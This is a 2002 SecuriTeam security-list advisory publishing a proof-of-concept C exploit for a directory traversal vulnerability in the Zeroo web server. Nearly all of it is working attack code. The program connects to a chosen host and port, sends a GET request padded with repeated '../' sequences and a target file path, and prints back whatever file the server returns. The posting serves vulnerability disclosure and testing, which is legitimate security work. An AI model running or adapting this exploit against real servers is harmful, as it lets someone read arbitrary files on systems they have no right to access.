[EXPL] Zeroo Webserver Remote Directory Traversal Exploit
From: support@securiteam.com
Date: 12/04/02
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From: support@securiteam.com To: list@securiteam.com Date: 4 Dec 2002 11:40:47 +0200
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Zeroo Webserver Remote Directory Traversal Exploit
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article: <Zeroo Folder Traversal
Vulnerability> Zeroo Folder Traversal Vulnerability, a directory traversal
issue is present in Zeroo's web server. The following exploit code can be
used to test for the mentioned vulnerability.
DETAILS
Exploit:
/*
* zeroo httpd remote directory traversal exploit
* proof of concept
* hehe, just a copy and paste from my other directory
* traversal exploit ;p
* [mikecc] [http://uc.zemos.net/]
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <unistd.h>
#define FOO "../"
void get(int sd);
int main(int argc, char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd;
int amt;
char * host;
char * file;
short port;
char expstr[1024];
int x;
char * baz;
printf("UC-zeroo\n");
printf("zeroo httpd remote exploit\n");
printf("[mikecc/unixclan] [http://uc.zemos.net/]\n\n");
if (argc != 5)
{
printf("%s host port file traverse_amount (>= 1 [keep
incrementing till hit])\n",argv[0]);
return 0;
}
host = argv[1];
port = atoi(argv[2]);
file = argv[3];
amt = atoi(argv[4]);
if ((pHe = gethostbyname(host)) == NULL)
{
printf("Host lookup error.\n");
return 0;
}
if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("sock() failed.\n");
return 0;
}
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
printf("Connecting...\n");
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
{
printf("Failed to connect to %s.\n",host);
return 0;
}
printf("Setting up exploit string..\n");
if ((amt + 8 + strlen(file)) > 1024)
{
printf("Error. Limit 1024 characters.\n");
return 0;
}
sprintf(expstr,"GET /");
for (x = 0; x < amt; x++)
{
strcat(expstr,FOO);
}
printf("\tInserting file string..\n");
strcat(expstr,file);
strcat(expstr,"\n\n");
printf("Sending exploit string...\n");
write(sd,expstr,strlen(expstr));
get(sd);
close(sd);
return 0;
}
void get(int sd)
{
char buf[1024];
int x;
fd_set rset;
FD_ZERO(&rset);
while (1)
{
FD_SET(sd,&rset);
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))
{
if ((x = read(sd,buf,1024)) == 0)
{
printf("Connection closed by foreign
host.\n");
exit(1);
}
buf[x] = 0; /* clean out junk */
printf("%s\n",buf);
}
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:mikecc@uc.zemos.net> Mike
Cramp.
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